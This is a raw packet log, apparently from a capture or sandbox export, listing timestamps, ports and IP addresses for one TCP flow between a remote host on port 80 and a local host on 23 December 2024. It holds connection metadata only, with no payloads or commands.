Dec 23, 2024 17:28:46.961539030 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.961551905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.961601973 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.962260008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.962275982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.962289095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.962436914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.962918997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.962943077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.962956905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.963046074 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.963248014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.963260889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.963275909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.963289976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.963300943 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.963337898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.966737032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.966782093 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.966846943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.966861010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.966872931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.966885090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.966897964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.966912031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.966924906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:46.966944933 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.966944933 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:46.966967106 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.024409056 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024492025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024506092 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024569988 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.024641991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024657011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024669886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024705887 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.024705887 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.024790049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024857998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024873972 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024887085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024947882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.024960995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.025000095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.025000095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.025000095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.025765896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.025793076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.025805950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.025861979 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.026153088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.026166916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.026180983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.026218891 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.026247025 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.026813984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.026828051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.026882887 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.080010891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080046892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080060959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080076933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080203056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.080203056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.080238104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080250025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080271006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080288887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080302000 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.080372095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080410957 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.080845118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080900908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080915928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.080938101 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.081028938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.081043959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.081091881 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.081114054 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.081114054 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.081902027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.081914902 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.081931114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.082005978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.082020044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.082032919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.082086086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.082086086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.082813025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.085365057 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.147233963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.147327900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.147340059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.147480011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.147568941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.147680044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.147700071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.147707939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.147756100 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.147763014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.147788048 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.147825003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.148118019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.148238897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.148334980 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.148375034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.148392916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.148405075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.148463011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.148479939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.148639917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.148648977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.148663998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.148780107 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.149319887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.149337053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.149349928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.149413109 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.149503946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.149517059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.149527073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.149579048 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.150284052 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.150367975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.150382996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.150439978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.150439978 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.150451899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.150509119 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.150510073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.150587082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.151350975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.151415110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.151427031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.151473045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.151504993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.151516914 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.151527882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.151588917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.151626110 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.152180910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.152204037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.152216911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.152296066 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.152419090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.152431965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.152443886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.152482033 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.152506113 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.153204918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.153259993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.153275013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.153328896 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.153357983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.153371096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.153383970 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.153480053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.153480053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.154129982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.154184103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.154195070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.154267073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.154333115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.154351950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.154365063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.154407024 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.154407024 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.155072927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.155097008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.155111074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.155205011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.155356884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.155400038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.155414104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.155586958 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.155586958 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.156002045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.156078100 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.156136990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.156151056 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.156194925 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.156196117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.156224012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.156236887 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.156347036 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.156960964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.157002926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.157016039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.157069921 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.157324076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.157339096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.157665968 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.216969967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.216990948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217015028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217026949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217040062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217046976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217051029 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.217128992 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.217129946 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.217247963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217320919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217335939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217384100 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.217415094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217428923 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217441082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.217451096 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.217489004 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.218148947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.218259096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.218272924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.218313932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.218571901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.218595028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.218609095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.218636036 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.218672991 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.219922066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.219937086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.220022917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.272650957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.272667885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.272681952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.272850037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.272856951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.272861958 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.272921085 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.272929907 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.272944927 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.272955894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.272989035 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.273036003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.273212910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.273225069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.273237944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.273291111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.273334026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.273410082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.273422956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.273423910 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.273478031 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.274171114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.274257898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.274271965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.274316072 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.274750948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.274764061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.274776936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.274821043 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.274835110 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.275249958 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.275274992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.275333881 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.339653015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.339761019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.339773893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.339787006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.339854002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.339876890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.339886904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.339886904 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.339890003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.339903116 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.339905977 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.339957952 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.340567112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.340591908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.340604067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.340650082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.340701103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.340713978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.340725899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.340742111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.340790987 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.341567039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.341605902 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.341622114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.341676950 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.341775894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.341814995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.341829062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.341862917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.341897011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.342497110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.342547894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.342564106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.342598915 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.342638969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.342664003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.342677116 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.342732906 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.342732906 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.343453884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.343475103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.343491077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.343591928 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.343754053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.343766928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.343780994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.343803883 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.343877077 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.344546080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.344559908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.344571114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.344584942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.344598055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.344609976 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.344609976 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.344614983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.344739914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.345411062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.345422983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.345433950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.345467091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.346400023 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346411943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346421957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346442938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346499920 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.346499920 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.346534014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346549034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346560955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346574068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346585989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.346622944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.346622944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.346622944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.347328901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.347359896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.347374916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.347573042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.347584963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.347595930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.347608089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:47.347636938 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:47.347775936 CET	49716	80	192.168.2.8	185.215.113.16
